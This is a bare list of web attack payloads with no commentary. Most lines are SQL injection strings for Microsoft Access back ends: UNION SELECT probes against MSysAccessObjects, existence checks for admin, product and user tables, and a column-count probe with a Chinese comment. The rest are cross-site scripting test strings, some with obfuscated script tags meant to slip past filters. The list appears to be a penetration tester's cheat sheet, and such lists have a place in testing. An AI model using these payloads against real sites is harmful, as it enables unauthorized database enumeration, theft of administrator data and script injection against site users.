UNION all SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 FROM MSysAccessObjects
and 0 <= (select COUNT(*) from [Admin])
and 0 <= (select COUNT(*) from [MSysAccessObjects])
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 from MSysAccessObjects
AND exist(select name from admin)
order by 10 //6个字段
union select 1,2,3,4,5,6 from admin
and exists (select * from admin)
and exists (select * from product)
and exists (select * from user)
and 1=2 union select 1,2,3,4,5,6 from admin
< s Cript>alert(1) s cRipt>
<script> alert(1)</script>
alert("fw")
<>< < scr